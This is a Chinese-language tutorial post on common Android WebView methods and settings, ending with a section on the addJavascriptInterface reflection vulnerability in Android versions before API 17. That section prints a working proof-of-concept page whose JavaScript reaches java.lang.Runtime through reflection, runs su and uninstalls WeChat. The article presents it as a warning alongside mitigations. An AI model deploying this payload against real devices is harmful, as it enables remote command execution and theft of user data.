Android应用开发中WebView的常用方法笔记整理

基本使用
使用WebView通常是需要网络的,所以需要加上访问网络的权限

<uses-permission android:name="android.permission.INTERNET" />

1.加载某个url的方法

WebView.loadUrl("http://www.baidu.com");

需要注意的是不要省略前面的http://,省略的话,某些ROM中的WebView会加载失败
2.加载assets中的HTML

WebView.loadUrl("file:///android_asset/xxx.html")

3.加载一段javascript

WebView.loadUrl("javascript:" + ${js_code})

4.为js提供本地方法
如下,提供一个showToast的方法给javascript

private static class JavaJs {
  private Context context;
  JavaJs(Context context) {
    this.context = context;
  }
  @JavascriptInterface
  public void showToast(String str) {
    Toast.makeText(context, str, Toast.LENGTH_LONG).show();
  }
}
webView.addJavascriptInterface(new JavaJs(this), "JavaJs");

<script type="text/javascript">
  JavaJs.showToast("toast from js");
</script>

注意:

  • 提供给javascript的方法必需是public的,否则js无法访问
  • 提供给javascript的方法将会在WebView管理的线程中执行,因此要保证该方法的线程安全性.(Toast是支持在非UI线程中show()的,所以上面的showToast方法是没问题的)
  • 提供给javascript的方法一定要加上 @JavascriptInterface
  • 在Android 4.2,Api 17之前,javascript可以通过反射java对象,来执行一些危险操作.比如反射取到Runtime,然后执行shell命令
  • 虽然@JavascriptInterface是在Api 17加上的,但是Api 17之前,我们依然建议将提供给javascript的方法加上该annotation.(JSR-175规定,运行时annotation缺失,则直接忽略,而不会抛出ClassNotFoundException)
  • 针对Android 4.2以前的设备,我们建议不要通过addJavascriptInterface向javascript提供方法,并且通过removeJavascriptInterface("searchBoxJavaBridge_")来移除WebView自己添加的java对象.

5.页面跳转

webView.setWebViewClient(new WebViewClient() {

  @Override
  public boolean shouldOverrideUrlLoading(WebView view, String url) {
    if (Uri.parse(url).getHost().equals("www.xxx.com")) {
      // 自己的页面,直接使用WebView加载
      return false;
    }
    // 别的公司的页面,使用浏览器打开
    Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
    startActivity(intent);
    return true;
  }
});

6.访问历史回退

@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
  if ((keyCode == KeyEvent.KEYCODE_BACK) && webView.canGoBack()) {
    webView.goBack();
    return true;
  }
  return super.onKeyDown(keyCode, event);
}

7.在Logcat中输出javascript的日志信息
重写WebChromeClient中的onConsoleMessage方法

@Override
public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
  Log.d("WebView", consoleMessage.message() + " js line: " + consoleMessage.lineNumber());
  return true;
}

8.支持javascript的警告框 alert
重写WebChromeClient中的onJsAlert方法

@Override
public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
  new AlertDialog.Builder(MainActivity.this)
      .setTitle("JsAlert")
      .setMessage(message)
      .setPositiveButton("OK", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.confirm();
        }
      })
      .setCancelable(false)
      .show();
  return true;
}

9.支持javascript的确认框 confirm
重写WebChromeClient中的onJsConfirm方法

@Override
public boolean onJsConfirm(WebView view, String url, String message, final JsResult result) {
  new AlertDialog.Builder(MainActivity.this)
      .setTitle("JsConfirm")
      .setMessage(message)
      .setPositiveButton("OK", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.confirm();
        }
      })
      .setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.cancel();
        }
      })
      .setCancelable(false)
      .show();
  return true;
}

10.支持javascript提问框 prompt
重写WebChromeClient中的onJsPrompt方法

@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, final JsPromptResult result) {
  final EditText et = new EditText(MainActivity.this);
  et.setText(defaultValue);
  new AlertDialog.Builder(MainActivity.this)
      .setTitle(message)
      .setView(et)
      .setPositiveButton("OK", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.confirm(et.getText().toString());
        }
      })
      .setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.cancel();
        }
      })
      .setCancelable(false)
      .show();
  return true;
}

11.显示空白页

WebView.loadUrl("about:blank");
//该方法使得WebView只会绘制一个白色背景,并且释放之前加载页面时使用的资源,并停止之前javascript的执行

12.清除返回栈 WebView.clearHistory
13.获得访问历史列表 WebView.copyBackForwardList
14.下载 WebView.setDownloadListener
15.pauseTimers, onPause, resumeTimers, onResume

pauseTimers, onPause 停止解析,javascript执行等操作.区别是 onPause 只作用于调用它的WebView,而 pauseTimers 作用于当前应用中所有的WebView
resumeTimers, onResume 恢复解析,javascript执行等操作.区别是 onResume 只作用于调用它的WebView,而 resumeTimers 作用于当前应用中所有的WebView

常用设置
1.安全相关(去掉不必要的JavaBridge)

//这个Java Bridge是WebView自己添加的
//在Api 17以前,javascript可以通过java对象进行反射,执行一些不安全的操作
webView.removeJavascriptInterface("searchBoxJavaBridge_");

2.js相关

//设置支持javascript,默认是false
WebSettings.setJavaScriptEnabled(true);

3.缩放相关

//使WebView支持通过手势或者缩放控制器来缩放页面,默认是true
//该设置不影响 WebView.zoomIn()和WebView.zoomOut()
WebSettings.setSupportZoom(true);

//设置使用默认的缩放控制器,默认是false
WebSettings.setBuiltInZoomControls(true);

//不显示默认的+/-缩放控制View, 默认是true
WebSettings.setDisplayZoomControls(false);
加载图片策略相关

//设置是否自动加载图片,默认是`true`,如果设置为`false`,那么所有图片都不会被加载,包括本地图片.
WebSettings.setLoadsImagesAutomatically(true);

//设置是否阻止加载网络图片,默认是`false`,如果设置为`true`,那么网络图片将不会加载.(可以先设置为true,然后再设置为false,来加快页面加载速度)
WebSettings.setBlockNetworkImage(false);

//设置是否阻止加载网络资源(不仅仅是图片),默认是`false`,如果设置为`true`,那么网络上的js,css,图片等资源都不会加载
WebSettings.setBlockNetworkLoads(false);

4.渲染相关

//设置渲染线程的优先级
//该方法在 Api 18之后被废弃,优先级由WebView自己管理
//不过任然建议将其设置为 HIGH,来提高页面渲染速度
WebSettings.setRenderPriority(RenderPriority.HIGH);
Viewport相关

//设置使用 宽 的Viewpoint,默认是false
//Android browser以及chrome for Android的设置是`true`
//而WebView的默认设置是`false`
//如果设置为`true`,那么网页的可用宽度为`980px`,并且可以通过 meta data来设置
//如果设置为`false`,那么可用区域和WebView的显示区域有关.
WebSettings.setUseWideViewPort(true);

//如果webview内容宽度大于显示区域的宽度,那么将内容缩小,以适应显示区域的宽度, 默认是false
WebView.setLoadWithOverviewMode(true);
<!--如果WebSettings.getUseWideViewPort 是true, 那么可以通过meta来设置 Viewport -->
<!--例如将其可用宽度设置为 480px, 并且禁用缩放功能-->
<head>
  <meta name="viewport" content="width=480, user-scalable=no" />
</head>

<!--如果WebSettings.getUseWideViewPort 是false, 那么 不能 通过meta来设置-->

其效果类似于:

<meta name="viewport" content="width=device-width"/>

注意: 这里的px和通常说的像素不同,他和dp的概念非常类似. 参见 Mozilla

前端存储相关设置(方便前端工程师在客户端存储数据)

//支持H5的 application cache 的功能
WebSettings.setAppCacheEnabled(true);
//设置 application cache 的存储路径(通常存储js,css,图片等)
WebSetting.setAppCachePath("xxx");

//支持 H5 的session storage和local storage
WebSettings.setDomStorageEnabled(true);

//支持javascript读,写db
WebSettings.setDatabaseEnabled(true);
//设置js创建的db文件的路径, Api 19以后废弃,直接有webview管理
WebSettings.setDatabasePath("xxx");

5.缓存相关设置

//设置加载资源时,如何使用cache
//默认设置是:WebSettings.LOAD_DEFAULT
//当WebView正常加载一个页面时,如果缓存命中且没有过期,则使用缓存数据,否则从网络加载,当WebView.goBack()时,如果缓存命中,直接使用,不会验证是否过期
//可用的其他设置:LOAD_CACHE_ELSE_NETWORK, LOAD_NO_CACHE, LOAD_CACHE_ONLY
WebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);

6.cookie相关

public static void synCookies(Context context, String url) {
  CookieManager cookieManager = CookieManager.getInstance();
  cookieManager.setAcceptCookie(true);//默认就是true
  cookieManager.setCookie(url, cookies);
  if(Build.VERSION.SDK_INT < 21) {
    CookieSyncManager.createInstance(context).sync();
  } else {
    cookieManager.flush();
  }
}

addJavascriptInterface的安全问题
1.为javascript提供native接口的途径

Android WebView 提供一个addJavascriptInterface方法来为javascript创建一个JavaBridge.
例如给js提供一个showToast的方法:

private static class JavaJs {
  private Context context;
  JavaJs(Context context) {
    this.context = context;
  }
  @JavascriptInterface
  public void showToast(String str) {
    Toast.makeText(context, str, Toast.LENGTH_LONG).show();
  }
}
webView.addJavascriptInterface(new JavaJs(this), "JavaJs");

<script type="text/javascript">
  JavaJs.showToast("toast from js");
</script>

2.安全问题

Api 17之前,在WebView为javascript提供了java对象之后, 可以利用javascript代码调用java的反射Api,进行一些hack操作,导致安全性问题.(<font color=red>注意: </font>低版本的WebView会自己添加一个searchBoxJavaBridge_对象,通常我们需要自己移除)
Api 17之后,WebView会禁止javascript调用没有添加@JavascriptInterface方法,从而避免上述问题.(<font color=red>注意: </font>推荐大家始终添加@JavascriptInterface,而不用关心Api版本,因为annotation缺失并不会导致ClassNotFoundException,而仅仅是被jvm忽略)
安全问题示例 (通过javascript卸载微信)

通过反射可以干很多事情,比如类似于 UserInfo 这样的对象,如果他是单例的话,那么很容易可以取到用户的 用户名,邮箱,手机号 等信息.
此处展示一个简单的页面,当通过WebView打开这个HTML,手机上的微信就会被卸载(当然前提是该app拥有root权限).

<html>
  <head>
    <script>
      function toByteArray(str) {
        var ch, stack, result = [];
        for(var i = 0; i < str.length; ++i) {
          ch = str.charCodeAt(i);
          stack = [];
          do {
            stack.push(ch & 0xFF);
            ch = ch >> 8;
          } while(ch);

          result = result.concat(stack.reverse());
        }
        return result;
      }

      function execCmd(outputStream) {
        var cmd = "adb shell pm uninstall com.tencent.mm";
        outputStream.write(toByteArray(cmd));
        outputStream.close();
      }

      function toString(inputStream) {
        var result = "";
        var c;
        while((c = inputStream.read()) != -1) {
          var s = String.fromCharCode(c);
          result += s;
        }
        return result;
      }

      function hack() {
        for(var obj in window) {
          if("getClass" in window[obj]) {
            console.log(obj);
            var runtime = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null);

            var p = runtime.exec(["su"]);

            execCmd(p.getOutputStream());
            alert(toString(p.getInputStream()));
            break;
          }
        }
      }

      hack();
    </script>
  </head>

<body>
  卸载微信 :)
</body>
</html>
(0)

相关推荐

  • Android应用中使用Fragment组件的一些问题及解决方案总结

    Fragment的主要意义就是提供与Activity绑定的生命周期回调. Fragment不一定要向Activity的视图层级中添加View. 当某个模块需要获得Activity的生命周期回调的时候,就可以考虑通过Fragment来实现. 例如: DialogFragment, 调用show方法来显示一个Dialog(这个一个子Window,并不在Activity的视图层级中),当旋屏时,DialogFragment利用onDestroyView回调来dismiss Dialog,然后Activ

  • Android应用 坐标系详细介绍

    Android 应用坐标系详解: 由于最近做Android项目需要用坐标系的知识,所以度娘了一下,整理了相关资料,记录下来. 1 背景 去年有很多人私信告诉我让说说自定义控件,其实通观网络上的很多博客都在讲各种自定义控件,但是大多数都是授之以鱼,却很少有较为系统性授之于渔的文章,同时由于自己也迟迟没有时间规划这一系列文章,最近想将这一系列文章重新提起来,所以就来先总结一下自定义控件的一个核心知识点--坐标系. 很多人可能不屑一顾Android的坐标系,但是如果你想彻底学会自定义控件,我想说了解A

  • Android应用中设置alpha值来制作透明与渐变效果的实例

    Android系统支持的颜色是由4个值组成的,前3个为RGB,也就是我们常说的三原色(红.绿.蓝),最后一个值是A,也就是Alpha.这4个值都在0~255之间.颜色值越小,表示该颜色越淡,颜色值越大,表示该颜色越深.如果RGB都是0,就是黑色,如果都为255,就是白色.Alpha也需要在0~255之间变化.Alpha的值越小,颜色就越透明,Alpha的值越大,颜色就不透明.当Alpha的值为0时,颜色完全透明,完全透明的位图或者图形从View上消失.当Alpha的值为255时,颜色不透明.从A

  • Android应用开发中使用GridView网格布局的代码示例

    基本布局演示 1. 定义包含GridView 的 main.xmk <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fi

  • Docker 实现浏览器里开发Android应用的功能

    在浏览器里开发Android应用          这里需要用到Docker的知识, Che 发布后对Android应用开发多了一个工具,这里就对如何实现该功能就行详细介绍: Eclipse Che 最近Che发布了正式版,那我就介绍下在Che上开发Android吧-- 使用Che需要懂得一些Docker的知识,只需要一点点即可,因为Che是基于Docker的,所以了解Docker有助于理解Che的工作方式. 不废话,教程只有四步,开始. 第一步:部署docker服务器 我选择的是digital

  • 详解Android应用中DialogFragment的基本用法

    DialogFragment的基本用法 1. 创建DialogFragment public class DialogA extends DialogFragment implements DialogInterface.OnClickListener { @Override public Dialog onCreateDialog(Bundle savedInstanceState) { AlertDialog.Builder builder = new AlertDialog.Builder

  • Android应用自动更新功能实现的方法

    本文给大家分享Android里应用版本更新功能这一块的实现. 一个好的应用软件都是需要好的维护,从初出版本到最后精品,这个过程需要版本不停的更新,那么如何让用户第一时间获取最新的应用安装包呢?那么就要求我们从第一个版本就要实现升级模块这一功能. 自动更新功能的实现原理,就是我们事先和后台协商好一个接口,我们在应用的主Activity里,去访问这个接口,如果需要更新,后台会返回一些数据(比如,提示语:最新版本的url等).然后我们给出提示框,用户点击开始下载,下载完成开始覆盖安装程序,这样用户的应

  • 非常实用的小功能 Android应用版本的更新实例

    每一个应用都是具备一个功能,那就是版本更新,我记得我之前在面试的时候,面试官让我介绍一下应用版本更新的一些具体操作.我当时因为做过这个功能,所以回答的还是很流畅,现在我把这个分享给大家,需要能够共同进步. 我当时是这么说的: 首先呢,我们是应该在用户登录后,在首页执行检查版本信息的操作,具体是,获取到本地的版本号后,提交给服务器进行判断,然后后台来告诉我们当前版本是否为最新版本,紧接着我们拿到下载地址,执行下载的操作,具体的可以使用输入输出流来对文件进行存储和读取,为了方便下载,我们还可以使用一

  • 第1个Android应用程序 Android制作简单单页导航

    本例子演示如何添加一个简单的单页导航,在此基础上,再演示如何在第2个页面中显示第1个页面中拨打过的所有电话号码. (1)通过该例子理解Android App的基本架构. (2)通过该例子理解实现Android多屏幕导航的基本技术. 本例子只是为了让我们对Android App开发有一个较全面的感性认识,读者不必一开始就纠结于代码中的细节问题,涉及到的相关概念在后面还会分别介绍. 运行截图 运行截图(Api19.Api21.Api23的实现代码都相同): 界面操作 单击"将文本转换为数字"

  • Android应用中实现手势控制图片缩放的完全攻略

    一.概述 现在app中,图片预览功能肯定是少不了的,用户基本已经形成条件反射,看到小图,点击看大图,看到大图两个手指开始进行放大,放大后,开始移动到指定部位~~~ 我相信看图的整个步骤,大家或者说用户应该不希望被打断把~~~"我擦,竟然不能放大,什么玩意,卸了~~" , "我擦,竟然不能移动,留有何用,卸了~~". 哈~所以对于图片的预览,一来,我们要让用户爽:二来,我们作为开发者,也得知道如何实现~~~ 想要做到图片支持多点触控,自由的进行缩放.平移,需要了解几个

随机推荐